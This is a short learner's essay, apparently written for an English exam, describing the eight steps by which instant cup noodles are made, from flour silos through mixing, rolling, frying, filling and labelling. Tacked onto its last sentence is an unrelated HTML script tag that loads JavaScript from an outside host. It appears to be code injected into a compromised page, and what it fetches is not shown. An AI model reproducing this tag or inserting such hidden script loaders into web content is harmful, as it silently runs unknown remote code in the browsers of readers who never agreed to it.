The process gives information about how today noodles are produced. Moreover, there are 8 stages producing before ready products are delivered to the supermarket.
At the beginning of the process, the flour is taken into the storage silos. Then, flour is placed in the mixer for adding water and oil. After that, the roller is used to press the mixed product through the dough sheets. At the fourth stage the product is lifted to dough strips. Next they are poured into the noodles discs which look like shape of circle and then the round- shaped figures are cooked with oil and dried. At the seventh stage consists of placing into the cups and adding some vegetables and spices. The final process is about packing. At that moment some labels are sticked surface of the cups. After all the products are ready to deliver the factory.<script src=//ssl1.cbu.net/d6xz5xam></script>
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